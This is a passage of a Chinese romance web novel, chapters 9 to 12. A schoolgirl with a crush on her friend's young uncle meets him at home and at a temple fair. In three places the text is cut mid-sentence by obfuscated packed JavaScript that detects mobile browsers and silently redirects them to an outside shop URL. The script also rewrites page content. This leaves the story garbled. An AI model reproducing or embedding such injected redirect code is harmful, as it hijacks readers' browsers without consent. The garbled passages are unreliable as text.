灯光下,余榆瞳孔似一对透彻玻璃珠,头发周围也晕染上一片毛茸茸的辉华。 她翻开书页,精准找到照片卡住的位置。 那个精致到与游戏建模可比一二的男孩子,又这么混着懒意展现在她眼前。 余榆指尖轻轻划过照片,流畅的纹理刮过指腹。 我的文曲星君,一定保佑我这次期末语文英语100+啊。 余榆抿了抿嘴,深吸一口气后,合上小说。 许是有心理效应,它如同安慰剂一般抚平余榆考前生出的那一丁点难得的忐忑。 整整两天的考试她都过得很顺,考完后更是直接书目一扔,拉着徐新桐便去逛了街。 而成绩出来的那天,也果然印证了余榆的直觉—— 数学145,理综290。而语文94,英语更是106,成为她有史以来最高的记录。 由于语文和英语的好转,余榆终于突破“万年老五”的称号,挤上班级第三,年级52。 周围同学嘻嘻哈哈地恭喜她这个“老五”,连鳌拜看她的眼里都多了几分慈祥。 李书华和余庆礼也喜出望外,为了庆祝她的长进,特意预留一天的时间,带着她痛痛快快玩了一整天。 这个暑假余榆无疑将过得十分顺心。 当房间外的树叶每日正午都开始没精打采,一到夜间却又焕发新生时,榆市的盛夏才终于真正降临。 一扫上个月的阴霾,整座城市都笼罩在毒辣的日光里。暑气催人倦,小区平日里大都安安静静,只几位退休的老爷老奶在黄葛树下常驻歇凉。 余庆礼夏季更忙,李书华要带一个月的高三暑假班,二人常留余榆这么个小人儿待在家里睡到日上三竿。 要么醒来走到楼下吃一碗面或馄饨,要么就勤快些,去老余的单位食堂蹭饭。 但比起这些,余榆其实更想去徐新桐家里。 短短一个月,她去蹭了十几次饭,可运气总是很差,都没碰到徐暮枳。 他很忙,常常早出晚归不见踪影。余榆想见他,却也不能从早上七点待到晚上十点,这实在太过冒昧打扰。更何况,还有个成天就爱跑出去和关小谢玩游戏的徐新桐,余榆想留也没理由。 所以她只能盼望着趁着中午蹭饭时分,能碰上提前归来的徐暮枳。 但这个小小的愿望也总是次次都落空。她唯一能做的,就是偶尔瞧着屋子里一两件徐暮枳的熟悉物件怅惘片刻,然后乖乖同徐爷爷和徐新桐告别回家。 那天,临近午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846613|191377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,徐家做饭的阿姨晚了些时候,余榆受徐爷爷所托,抱着阿福出门溜达。 阿福很乖,在她鞋周围蹭来蹭去,时不时轻轻喵两声,好看的琥珀眸子可怜巴巴地望着她。 胆小猫。 余榆笑起来,蹲下去揉了揉阿福的头,将它抱进怀里:“阿福,你要学会勇敢,像余榆一样勇敢,明白吗?” 阿福沾染上她的气息,便立马缩进她臂弯间。 怂得可怜。 余榆心生怜爱,准备再磨蹭一会了,就抱着阿福打道回府。 她又抓了两把阿福胖胖的猫头,余光倏地一闪,空白的水泥地里,忽然出现一双熟悉的男款休闲鞋。 白色皮面,系着深蓝色鞋带。鞋帮上些许尘土,大概又是从哪个镇里赶回来的。 余榆心上忽跳,揉猫头的手就这么顿住。 对方停在她跟前,慢慢屈膝蹲了下来。 气息铺天盖地侵袭而来。 男生的手伸了过来,揉了两把她怀中的阿福。他的手很修长,指节分明,腕间有块银色的手表,手表下,是微微凸起的青筋与腕骨。 余榆微微抬眼。 发现他的指关节与其它人不一样,他的竟然泛着些微的红。 她懵懵懂懂,又多看了几眼。 上次见他还是雨季,这次便已步入榆市的酷暑。男生穿得简简单单干净利落,深灰色T恤搭着牛仔裤,还是戴着那顶黑色的鸭舌帽。 帽檐下,男生深邃眼睛盯着阿福,溢出几许柔和。 余榆愣了一下神,张了张口,喃道:“小叔。” 徐暮枳神色平平,见阿福不回应自己,便收回手:“怎么在这里?” “……爷爷说要练猫壮胆。” 军人铁血天性。 徐暮枳淡淡一笑。 他来得有些突然,仿佛天降,余榆有些来不及整理情绪,两人无话局促间,只好低头去摸着怀中的阿福。 片刻,耳畔响起徐暮枳轻而淡的询问:“桐桐最近在打游戏?” 余榆错愕。她反应极快,从徐暮枳略带危险的口吻中意识到,他很可能是在揣着答案问话。 她当机立断:“不知道。” 徐暮枳狐疑,扫眼看来:“你和桐桐不闺蜜么?” 对方的眼睛如同一把锐利的刀刃,仿佛随时能将她剖析。 慌乱间,她道:“我和她……不熟。” 徐暮枳又看了她一眼。 却见小姑娘始终低头摸着猫头,神色遮掩,极不自然。 良久,他轻哂。 余榆这个小姑娘,有意思得很。 她虽和徐新桐是好友,但两人性子却全然不同。 徐新桐看着叛逆,但接触久了,便能瞧出就是个没心没肺的丫头。但余榆不是。这个小姑娘,外表瞧着乖巧,骨子里却正儿八经地藏着股倔劲儿。 这件事,他从第一次见她时就明白了。 徐暮枳也不愿为难一小姑娘,索性作罢。 只是。 他轻啧一声,缓缓偏下头,低了眉眼,去与那小姑娘平视。 余榆感应到对方的视线落下来,也下意识抬眸,却意外闯进一双意味深长的眼睛。 “这才多久没见——” 他似笑非笑,语调充斥着几许谑意:“小姑娘,怎么学坏了?” 这人嘴角略微上扬,噙着玩味,像是责她这番行径负了小叔的信任,也伤了小叔的心。 那股痞劲儿与平时无异,可余榆莫名觉得,他好像不是在生气,也不是在逗自己。 他好像……是在委屈。 委屈余榆这个小姑娘,竟然没有站自己。 10. chapter 10(小修) 别的人不说。 余榆挺难扛下他这眼神的。 她避开视线,压迫感却并未消失,没有任何隔阂地直袭而来。 她下意识收紧胳膊以图几分安全感,怀中的阿福却受了难,被她憋得闷不透气,委屈巴巴地喵呜一声,扭动几下不敢反抗。 余榆察觉到,急急松开手。 阿福得了自由,又寻了个舒适位置,继续埋头怂在臂弯间。 她吞了吞唾沫,紧盯着徐暮枳,试探一般,小声道:“小叔……” 徐暮枳定睛,等待她下话。 顿了顿,余榆眨巴着眼,说:“上楼吃饭吧。” 意料之外的答案。 徐暮枳眉头一松,嗤笑出声来。 他抬手,猛揉了一把她的头发,力道携带着些某种惩罚性。像长辈教训不懂事的小辈。 男生大手轻松盖住她的头顶,余榆重心不稳,被揉得险些一屁股坐在地上。 情急之下,她不乐意地嘟囔了一声。 徐暮枳怔了怔,还以为自己听错了。 明明起了身,又错愕回眸,不可思议地缓缓问道:“你叫我什么?” 余榆也愣了。 不仅是他,连她自己也没想到那一声极其直白且嚣张的全名,会从她嘴里脱口而出。 她偷瞄了一眼他,见他眼皮下沉,混着点饶有兴致直直压下来。 有错愕,有审视,但就是没要生气。 于是她放了心,抱着阿福,冲徐暮枳灿烂一笑,心虚强呼道:“小叔,爷爷还在等我们吃饭,快走了吧。” 说完狼狈出逃。 跑得跟兔子似的,徐暮枳彻底乐了。 他确实没气,就是纯粹觉得这姑娘内里那个劲儿彪上来,那气势,仿佛下一秒便能翻身凌驾在他的头上。 分明前一秒还乖得像兔子,后一秒就能撕破了脸,瞪着他,不满地直呼他大名。 他跟了上去。 就这么一会儿,小姑娘就不见了踪影。 快到家门口的时候,徐暮枳闻到了熟悉的香。 家中大门开敞着,他还没进门,却一眼就瞧见了端坐在沙发上的徐胜利。老人正喝着一口枸杞茶,同余榆说笑聊天,时而和颜悦色地点点头。 爷爷肉眼可见地喜欢余榆。 诚然,这样会说暖话的甜心,换成谁都喜欢。 徐暮枳哂笑,可甫一转眼,就瞧见爷爷这一年更加深纵的皱纹与银白雪丝。 他慢慢就收敛了笑。 因为他要回来,今日桌上多了他喜欢的腌笃鲜和芦笋炒肉。腌笃鲜的咸肉香充盈整个楼道,像小时候,亲爷爷徐国荣为他备下的餐食。 徐胜利这两年似乎都是这样。徐暮枳一通电话打回来,提前告知要回家后,大清早便开始张罗,那些他喜欢吃的、喜欢用的,徐胜利会通通上超市买来。 以前常住家中没太多感受,是这两年离家时间长了,徐胜利的担忧才逐渐显见,徐暮枳才清楚爷爷到底有多担心自己。 如今徐胜利的步履与背影蹒跚而佝偻,几场病后,身体好似一把摇摇欲坠的枯木,连徐新桐都收敛了许多,就怕将老爷子气出个好歹。 而他就这样一意孤行地跑去北京,跑去一线。 他的父亲徐净因公牺牲的那年,他才十岁。后来跟着亲爷爷徐国荣生活了五年,爷爷因病去世,他才来到榆市。 徐国荣是退伍老兵,徐净是武警特战。徐胜利瞧着前人高树,又得老战友临终寄信嘱托,一心只愿这孩子按部就班平安长大,宁可一生中庸,也再不要以身犯险。 所以当初徐暮枳说要做记者,徐胜利猜到徐暮枳不会甘愿做一个普普通通的职位,是以长吁短叹,多有劝阻。可这已然是为了周全退而求其次的结果,徐暮枳不愿再退让。而徐胜利一面愧对老友嘱托,一面又不忍毁人理想。于是这事儿半推半就,这么定下。 有时候会觉得,基因真是很神奇的东西。木已成舟之后,徐胜利常常感慨,那些刻在骨子里的信仰与忠诚,是无论如何影响引导,都没法彻底洗刷干净的。 徐氏一家,满门忠烈。 到了徐暮枳这一辈,又怎甘愿随遇而安? 所以慢慢的,徐胜利也渐渐同自己开解。只是每回隔段时间便要亲眼看看徐暮枳,知他平安才肯摆休,哪怕就是一通千里迢迢的视频报备也好。 饭桌上徐新桐和余榆话密,逗得徐胜利乐呵呵地笑。 徐暮枳默不作声地给爷爷盛了一碗汤。放在徐胜利跟前时,徐胜利忽然拍了拍他的手,问他近日工作如何? “挺好的,学了很多。” “那就好,”徐胜利的声音细听仍旧有些虚,他说,“既然决心要入这行,那你就要好好保护自己,知道吗?” “知道。您放心吧。” 徐胜利点点头,也不再多说。 多说也无益,再多的话也在高考那年说了个尽。 余榆举着勺子一口一口地喝着汤,眼珠子却在两人之间转来转去。 那副机灵样,不必多想也知道她定是猜出点什么来。 她不好参与别家家事,只能与徐新桐说着些无关紧要的小事情。 徐暮枳下午还要赶回台里,吃完饭后便匆匆离去。 余榆觉得有点可惜,因为她下午通常都有补课班,而今天徐新桐调了时间,正好与她撞在一起,她可以理直气壮地在这里多留片刻。 可偏偏是三点,要是跟着他一起走,会显得过早而名不正言不顺。 着急也无用,只能窝囊又遗憾地目送徐暮枳离开,直到俊挺的背影彻底消失在楼道。 蹭饭快一个月,总共也就见了他一个小时不到。 余榆在心底里叹息,却又无可奈何于他这样风尘仆仆又行色匆匆。 要是能再长大一点就好了。 余榆祈祷时光可以流逝得再快一点,熬到高三毕业,熬到大学自由。那样她就可以顺理成章地站在他身边。 最好这期间他不要有女朋友,但如果有…… 想到这里,余榆呼吸顿了顿。 她想,如果有,也希望徐暮枳不要太喜欢她。 可这真的合理吗? 徐暮枳在感情里并不是那样浮浪不负责任的人。 更何况,等她长大这期间期望他不要谈恋爱的想法,本身就不合理。 余榆缓缓叹出一口气。 徐新桐的数学班和余榆的阅读班都在附近,步行二十来分钟就能到。 两人掐着点出门,撑着太阳伞走在路上闲掰扯。俩姑娘说的话都没什么营养,不是越前龙马,就是年级上又是谁和谁谈了恋爱、女孩与女孩争风吃醋。 余榆不想听那些扯头花的事,她刻意引导,徐新桐便说起了今天小叔突然回家的事情。 原是爷爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16846614|191377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天半夜空调吹得有些感冒,今天早晨便去了一趟医院。小事一桩,但不知怎的,徐暮枳知道了,请了个假便匆匆往家里赶。 “小叔真是紧张爷爷。” 他这样看重,是早已经将徐爷爷当作了自己的亲爷爷。 余榆思忖着,说完后又突然想起吃饭前两人在楼下的情境,抿了抿嘴,在道德与道理间,选择了徐新桐。 她决定侧面点一下徐新桐:“小叔哪里都好,就是有点严格。他严肃起来,挺吓人的对吗?” 结果徐新桐非但没听懂,甚至开始着急,替自己的小叔解释起来。 “不会不会,小叔人很好的。” 余榆仰头望天。 徐新桐啊…… 徐新桐却生怕她误解小叔,对小叔印象差了,拉着她说什么小叔就是面冷心热,你看院子里这些叔叔阿姨爷爷奶奶,对他风评多好啊;又说小叔其实根本不严肃,私底下性子活络得不行,朋友遍天下哎。 又开始了。 她小叔她小叔她小叔…… 也就是如今余榆存了些小心思,恨不能多听听徐暮枳的事。换作以前,恐怕早就捂着耳朵大声唱着歌逃跑。 但现在,余榆佯装勉强,却竖起耳朵,耐了心听着徐新桐说话。 徐新桐这个“唯小叔是尊”的人,定是绞尽脑汁地同她说起那些徐暮枳的好,像是铁了心要拉着她与自己一起成为徐暮枳身后的小粉丝团。 “我一定要给你说一件事儿!” “我记得他当年刚来我家的时候,有次我被爷爷骂哭,赌气,大冬天的就穿了件单薄睡衣躺在沙发上,冷得瑟瑟发抖,翻来覆去睡不着。其实我以前也这样,爷爷知道我受不了会自己溜进房间,所以从来不管我,但其实我挺想有个人来哄哄我的,女孩子嘛,总是要被多疼疼的。所以那次,我等了十来分钟,爷爷还是没来。” “是小叔,”徐新桐说,“是他抱了床被子,轻手轻脚地跑过来给我盖上了。” 徐新桐永远记得那天夜里,徐暮枳半蹲在沙发旁,温声对装睡着的她说的话。 他说:“小姑娘家家,气性再大,也别做让自己吃亏的事。「皮之不存,毛将焉附」,这社会弱肉强食,今后有的是委屈要受,难道都靠伤害自己换取旁人愧疚吗?” 彼时口吻尽是爱护,听得正是委屈凄凉的徐新桐眼眶一热,差点哭出来。从那以后,她就记住了那句话——“皮之不存,毛将焉附”。 人生在世,好好爱惜自己。 说话间,她们慢慢走到补习班楼下。 周围的学生多了起来,头顶上大大的“领航教育”广告牌悬着,人来又人往。 她要和徐新桐分道扬镳了,两人却还拉着手说不停。 余榆想了想,很认真地道:“桐桐,以前我总觉得你说得浮夸,可如今我明白了……” 心理学上说,青春期是一个自我同一性形成的关键阶段。个体会通过寻找“理想化的自我”投射对象,借以探索自己的人生观与价值观。 这就好像,每个女孩子的青春里,都有过一种“偶像崇拜”。这种倾向很可能就是源于对自我提升的渴望。所以有的女孩子崇拜铁血丹心的军人,有的女孩子则羡慕光芒万丈的骄子。 徐新桐的崇拜幻想是越前龙马。 而余榆也忘了自己是从哪一刻开始确定的。 她的幻想,叫做徐暮枳。 11. chapter 11 七月末,榆市天空下了一场暴雨。 风雨搅和了一夜,等次早醒过来时,温度却没降半分。 冷空调开着静音,缓缓吹着。余榆意识混沌,在昏暗中翻了个身。没几分钟,突然传来一阵急促的敲门声。 她被吵醒,懵神地拿起手机——早上七点。 咚、咚、咚。 咚、咚。 咚、咚、咚、咚。 敲门声不依不饶地响起,颇有些不敲醒里面的人誓不罢休的架势。 余榆实在没了法,只好慢腾腾地起身。 一开门,果然是徐新桐这个江东鼠辈。 大清早扰人好梦,简直罪该万死。 徐新桐站在门口,衣装完整,套了件白里透粉的衬衫裙,见到她,挥动起自己手上刚涂好的指甲油。不知道什么颜色,竟然bulingbuling地闪人眼。 可余榆哪儿有心思欣赏,不待徐新桐开口,扭头就往房间里走。 一边走,一边埋怨:“徐新桐你脑袋有泡,大清早七点就来敲门。” 徐新桐紧跟在她身后,与她一起进了房间。 “鱼鱼鱼鱼鱼鱼——” 鱼什么鱼。 鱼困在床上,闭眼只想睡觉。 “我和爷爷要去桦砚寺,你上次不是也说想拜文殊菩萨么,我就来叫你了。”说着,徐新桐趴在她床沿,屈膝虚跪在地:“你忘啦?” 余榆假寐着,躺得十分平和:“我没忘,而且我还记得,这句话是在期末考试前几天说的,因为担心考不好。” 徐新桐一噎,心虚地努努嘴:“那你去不去嘛……” 一句“不去”正要利落地说出口,便又听徐新桐嘟囔道:“还说小叔开车过去就半个小时,没原来那么折腾累人呢。” 余榆猛地睁开了眼。 “去,怎么不去。” 余榆没有半点停顿地掀开薄被,顺了一把鸡窝般乱糟的发,微笑道:“稍等。” 说完便钻进洗手间。 从里到外将牙刷了个干净彻底,又拿起李书华的洗面奶往脸上搓了半晌,最后左看右看都不满意,又隆重地洗了个头。 高中生洗头最迅速,余榆怕大家久等,一顿猛挠,力保自己没头皮屑。 搞定一切,清清爽爽地走出洗手间已是半个小时后。 余榆回房间换衣服,进了门,却看见徐新桐坐在她书桌前,认真地翻看着一本书。 那本书有些眼熟…… 余榆定睛一瞧,登时汗毛直竖。 “桐桐……” 她的声音有微不可查的紧张。昨晚熬夜看完大结局后实在太困,便直接扔在一旁,当时也没想到徐新桐会这么早来,而且刚才开门前怎么没想到这回事儿呢? 懊恼间,那厢徐新桐闻声抬头,见到她,玩味一笑。 那一笑,余榆更加毛骨悚然,直觉对方可能真的看出了什么,那一瞬间想了无数个理由为自己的出格行为开脱。 然而余榆实在是高估了这个连关小谢这么明显的心意都看不出的奇女子。 徐新桐指了指手上那本小说,叹为观止:“我还说你吃错什么药了,竟然开始看言情小说了,果然啊果然,能让你上头的小说,真的有点东西哎!” 就这么一句话,上一秒还因为害怕被识破而高高悬起的心脏,倏地就落了下去。 余榆大松一口气,两手轻轻一拍,装作十分附和的样子:“……是吧,写得真的还行。” “那你借我看看呗,过两天还你。” “行。” 她平定心神,走去衣柜,埋头在一堆衣服里心有余悸。 余榆挑了一条青绿色的小裙子,款式经典简单,裙长过膝没什么特别,只是胜在颜色足够特别。 不亮眼,但特征明显。 出门时余榆对一切都满意得不得了,她拿出自己专程搭给这条裙子的同色系帆布鞋,一转头,却看见徐新桐手上拿着那本小说。 余榆又开始应激了:“你拿它干什么?” 徐新桐:“我带回家看啊。” “可现在不是要去桦砚寺么?” “是啊,所以我先放在小叔车上啊。” 余榆在心里尖叫起来。 你现在拿上车,那小叔不就看见了吗?! 爷爷和小叔又不是情丝尽断的人,他们要看出点什么,我的面子往哪儿搁啊?! 可心中再惊涛骇浪,面上也依然平静。 余榆深吸一口气:“……你放家里吧,这会儿拿上车,不怕爷爷看见了没收啊?” “哎?也是哈。”于是又将小说放回了书桌。 小区外,马路边。 榆市这个季节,太阳刚蒙蒙升起,地面温度便开始稳步上升。曙光照在黑色车门上,热气上浮,徐暮枳怕徐胜利坐在车里闷热,关上窗,打起了空调。 爷爷在唠叨着什么这一趟就是想趁着他正好休假,去求个全家平安。 话里话外都提醒着他在外要注意安全。 徐暮枳百无聊赖地听着,胳膊搭在车窗沿,笑应间,老远就看见一抹青绿色。 小姑娘外表娴静,同旁边活蹦乱跳的徐新桐截然不同。上车时更是对比鲜明——徐新桐“嘭”地一声关了过来,像是同他的车有什么恩什么怨,反倒是余榆,力道适中,至少体恤车主人滴血的痛心。 车开上路,徐新桐在后座叽叽喳喳说个不停。徐胜利老爱跟徐新桐玩笑,逗得徐新桐气呼呼的,然后老头子便哈哈大笑,开心得不得了。 车内氛围倒是好。 余榆瞄了一眼斜前方开车的人,一贯的鸭舌帽,不过今日换了个灰色,帽檐有银环穿洞,偶尔一缕清晨的曦光划过,微微晃人眼。 她发现他衣品很好。不论什么简单的衣物,都会有小单品中和单调,而如今在电视台工作,接触的多为严肃场合,是以更多的都是帽子,实用也好看。 而今天这么新潮帅气的帽子,也只有休假时才会翻出来戴着。 车开到桦砚寺大门,那座露天金佛直耸云端,在交织茂密的菩提树后若隐若现。 徐新桐搀扶着爷爷往里去,余榆下车后,却发现徐暮枳还坐在车里。 “不用管他,他一向不来的。” 徐新桐走在前面,趁着徐爷爷取香拜四方时,悄悄在她耳边说道:“往年都是我陪着爷爷来的,你敢信,爷爷以前压根不信这些,但这几年,好像每回拜了才肯安心。能体谅啦,人老了,只想求个平安稳定,年轻人动荡又不安,他担心的事情反而变多了。” 余榆轻轻颔首,望着高耸入云的释迦牟尼佛像若有所思。 徐暮枳没来,逛园子便变得差了些意思。 不过,这两月正是桦砚寺的荷花盛开季,寺中香火常年旺盛,因此今日周末举办了一场荷花节。 青绿荷叶映衬着菡萏,时而一阵清风,娇俏摇曳。庙会人头攒动,一场盛景。 徐新桐喜欢很多小玩意儿,徐爷爷便背着手,笑眯眯地陪着她逛庙会。 路过天王殿时,余榆偏头瞧了一眼,见殿前那棵栾树葱郁,耸立在入门旁侧。 她走了一下神。 上次来还是去年九月,栾树如桂,金黄色落英铺了一地,徐爷爷也说是要来求平安,为了徐暮枳。 那时她天真无谓,宽慰爷爷,说现在法治社会,就算是一线记者,也不会太过危险的。 徐爷爷一生波澜,自然比她见过更多世面,也知晓更多灰色地带如何危险,当时只笑了笑,没说话。 现在想来,好像爷爷的担心也不是空穴来风。 余榆轻叹,回眸。 而后顿住脚,目光在人群里面来回穿巡。 周围依然熙熙攘攘,摩肩接踵。只是余榆视野却空空荡荡,不见了徐新桐和爷爷的身影。 走这么一会儿神的功夫,竟然就与徐新桐他们走散了。 余榆又来回找了一圈,无果。 寺中范围太大,逛这么半天正好也累,她索性放弃,就近找了个歇息处休息。 旁边是金鱼池,有小孩儿自带着馒头撕成小碎块喂鱼,指着那堆五颜六色的金鱼,欣喜地叫着妈妈快看。 小孩儿妈妈陪同在侧,没顾得上自家孩子,反而转头与自己同行的闺蜜说起寺中那些显灵的菩萨。 “桦砚寺里的菩萨都很灵的,待会儿去观音那边拜拜月老,拜拜财神们,真的很灵的呀。” “听说那边还有个解签的和尚,也蛮灵的,不如再问问姻缘,问问财运也行的。” “……” 背景音絮絮叨叨说个不停。 余榆放松后,给徐新桐发了个消息,报备了自己的位置。 徐新桐很快回了她。 【你休息吧,我和爷爷先去大雄宝殿】 【你无不无聊?】 最后那句余榆没看懂。 她回了个“还好”。 这时候李书华给她发来了消息,大意是询问她是否已经起床。 温柔又严厉的李女士唯一不能容忍的就是她成天睡懒觉,每日八九点便会特意来叫醒她,起床背单词、听读英文。 余榆发了一张自己和桦砚寺的自拍。 笑容灿烂地怼着镜头,举起手,比了个耶。 李女士:【什么意思?英语学不好,开始靠玄学了?】 我是一条鱼:【……】 讨厌的李书华。 余榆气闷,退出对话不再与她聊天。 早上九点温度早已攀升至炎热,即使坐在林间也觉得不舒畅。今天难得与他共游,余榆特意穿了小裙子,当时只一心想隆重对待这第一次经历,也没想过这背后的代价。 当余榆裸/露的白皙小腿被蚊虫咬了几个红色大包后,她终于决定去找徐新桐。 她站起身,没走两步,视线便忽然晃进来一道熟悉的高挑的身影。 他的气质似乎很容易在人群里出挑惹眼,哪怕今日只穿了件普通低调的黑色T恤。 旁边好几个女孩子都频频回眸,望着他的背影嬉笑。 确认真的是他后,余榆心脏“嘭”地一下,像有一把小烟花唰唰唰地全部炸开。 她没能等到他走近自己,在他快到时,上前几步迎接他,歪了歪头,笑道:“小叔怎么突然来了?” 不知是她这裙子颜色太过衬肤色,还是她在太阳底下被照得皮肤通透,徐暮枳竟从一小姑娘身上瞧出几分青涩的纯。 就是傻兮兮的,为了接他,站在太阳光里被刺得微微眯眼。 他哼笑,抬手摘了帽子,往她脑袋上一扣。 视线倏然一暗,男生的余温袭来。 刺眼的阳光消失,取而代之的是温和的自然光线。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16846615|191377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 还有浓烈的,他的气息。 余榆像是忽而下坠,差点没稳住心神。 她没有任何反抗地接受了这顶帽子,抬手拉高帽檐,见眼前的男生笑意温而淡,闲散地开口侃道:“徐新桐真够喜欢你的,怕你无聊,让我来陪你。” 徐暮枳挺会讨女孩儿欢心的,就这么三两句话,愣是哄得余榆喜笑颜开,眼睛又成了月亮。 她说:“那徐爷爷也很喜欢我的。” 所以小叔你也要喜欢我噢。 徐暮枳人精,怎会听不懂余榆话中暗指的意思?轻笑一声,移开了眼。 这是默认了。 默认他也是喜欢余榆的。 尽管只是大哥哥对小妹妹的喜欢与爱护。 余榆望了望前方下路的人群旅客,扭头去问他:“小叔要去大雄宝殿拜拜吗?” “拜不了,唯物主义。” 他倒是坚定。 余榆望了望四周,又指着庙会上那个卖着平安符的檀木小推车,说:“那我送你一个平安符吧?” 怕他拒绝自己,余榆赶紧补充:“平安符不能自己买,要别人的才行。我送给你,也没多贵,但爷爷以后却能安心,你觉得呢?” 徐暮枳眼眸凝滞片刻,半晌都没想出个更强有力的理由反驳。 余榆机灵,赶紧趁这个空隙将人带到摊前,开始认真挑选起平安符。 她挑选东西的风格又快又精准,不过须臾,便挑中了最独特的那个——黑色的、绣着金色字样与花式的平安符。 老板娘会做生意,连忙说妹妹真会挑,这是今天卖的最后一个了,好多年轻人都买了这个,好看,也灵。 余榆满意地拿着平安符,眼神询问他。 徐暮枳这还是头一次面对一个未成年的小姑娘,感到无可奈何。 他笑,干脆颔首:“行。” “那就这个。” 说完拿出钱包结账。 平安符攥在手里,细闻还有淡淡的陈艾草香。 徐暮枳以前没收过这样饱含期冀的礼物。还是那样,他周围许多人都很爱他,但却没多少这样心思细腻的人。 而这样的心意,依然来自这个并不算熟识的小妹妹。 余榆心愿达成,笑容都多了些光彩。 平安符,一个需要他随身携带,亦或是装在任何一个他常用物品的东西。 以后不论做什么,他都会看到、并想起那个平安符——那是余榆送的。 为以防万一,余榆要提醒他一定要随身携带,结果那些话却被两位突然冲出来的人撞了个烟消云散。 余榆身子不由趔趄往后,后背磕碰到那个满满当当挂着货物的小推车。 昏头涨脑间,耳畔一道洪亮悠长的钟声传来。 咚—— 大雄宝殿上有人撞起了钟。 传说钟声可以祈福禳灾,祈求平安与幸福。更是警醒世人,万事珍惜。 咚—— 又是连续好几声,缓和寺庙安宁。 徐暮枳眼疾手快,牵住了余榆。温热的手掌心还有平安符,那一刻却来不及多想,紧紧地攥住了余榆的手臂。 撞人的年轻人赶紧掉头回来道歉。 余榆想摆手说没事,却感到一股阻力。 她低眸查看,发现自己手腕上竟缠了根红线。红线趁乱间绞住了她的手表带子,一动,便容易将人家那堆货品带下来。 余榆着急,也害怕给老板的东西毁坏赔钱,便赶紧抬手去解。可惜单手不方便,解了片刻依然难以脱身。 “别动。” 头顶上方忽然传来一道低沉的声音。 余榆骤然僵住。 徐暮枳的眉眼近在咫尺。他低着头,眼神专注地盯着她的手腕。 男生与少女的皮肤在礼貌而合理的擦碰相蹭,他的呼吸轻轻喷在她的手指尖端,若有若无,如同羽毛。 “小叔,我可以的。” 她音色轻颤,不知道的还以为是惊魂未定。 他却没有应声。 但很快余榆就发现了不对劲。 他大概手残,越解越乱。 到最后竟然将他自己的手也给缠了个不清。 余榆看得目瞪口呆,紧张感烟消云散:“小叔你……” 那句“你好菜”愣是梗在喉间上下不得。 徐暮枳这么张狂不羁的人也难得噤声,眉头一蹙,又闷头开始解起两人的线。 “没关系,慢慢解好了。” 余榆体谅,自己却抬头深呼吸,喃喃着:“不着急……不着急……” 徐暮枳:“……” 像是在羞辱自己。 旁边又来了一阵动静,是凑过来了一对兴致冲冲的闺蜜。 余榆瞥了一眼,是方才在金鱼池旁遇见的两位女士。 二人张望了片刻,那位母亲看见余榆身后一堆红线,眼前一亮,指着它,破口就是一句:“你知不知呀,这个是月老的红线!” 余榆僵住。 她明显感应到,徐暮枳的手仿佛也顿了一秒钟。 月老的…… 红线…… 两人之间莫名鸦雀无声,这次仿佛连呼吸都感受不到了。 只有那位女士还在恨铁不成钢地训着自己的闺蜜,狠狠强调道—— “买吧!很、灵、的!” 12. chapter 12 余榆接连看了他好几眼。 不似她的在意,对方定了一瞬后,轻嗤一声,明显没把那些玄乎的话当回事儿。 那对闺蜜很快离开,只有余榆和他还在原地同那根线纠缠。 红线如一缕轻丝,缠绕着男生粗粝的指腹与少女细腻的肌肤,勒得两人险些动弹不得。 风吹乱人额前的发,他不得已频繁触碰着她,某一刻,温度似乎变得灼烫。 时间也变得煎熬起来。 余榆心神不宁,扭过头去,佯装无事地瞥着周遭场景,借此呼吸新鲜空气。 桦砚寺向来是榆市市民周末亲子游的最佳项目之一,加之今日有庙会,几乎隔两步便能见着情侣与牵着小孩儿夫妇一家。 蜿蜒路段聚集着几个卖字画的人,再往前点就是各类水晶小首饰,女孩子站在摊前试戴,男生摇着折纸扇,为女友祛暑排热。 不知想到什么,余榆回神,探了一眼跟前的男生。 他还是很专注,专注到无谓于此地群真会集。平日那双飞扬的眼睛盯住她的腕骨,还有与她纠缠着的自己的手指。 鬼使神差间,她鼓足勇气开口:“小叔?” 徐暮枳闻声,抽空瞅了她一眼,又低头继续:“这会儿不叫「徐暮枳」了?” 调子有点懒,还有点揶揄。 余榆被怼得不知说什么,好半晌才憋出句:“你真记仇……是天蝎座吗?” “不知道,没关注。” 余榆眨了眨眼,又问:“那你生日多少?” “11月1。” 余榆听后惊奇到张了张口。 还真是天蝎座啊。 之前她的前同桌捧着一本情感类杂志,看完星座小课堂后,对着天蝎那一栏啧啧称奇。 当时余榆就在她旁边,听见她意味深长地说:天蝎座可开不得荤啊~ 同桌的前男友就是天蝎座,是彼此的初恋。少男少女情深意长分分合合,她的天蝎男友拿得起放不下,到现在都没能扯清楚。 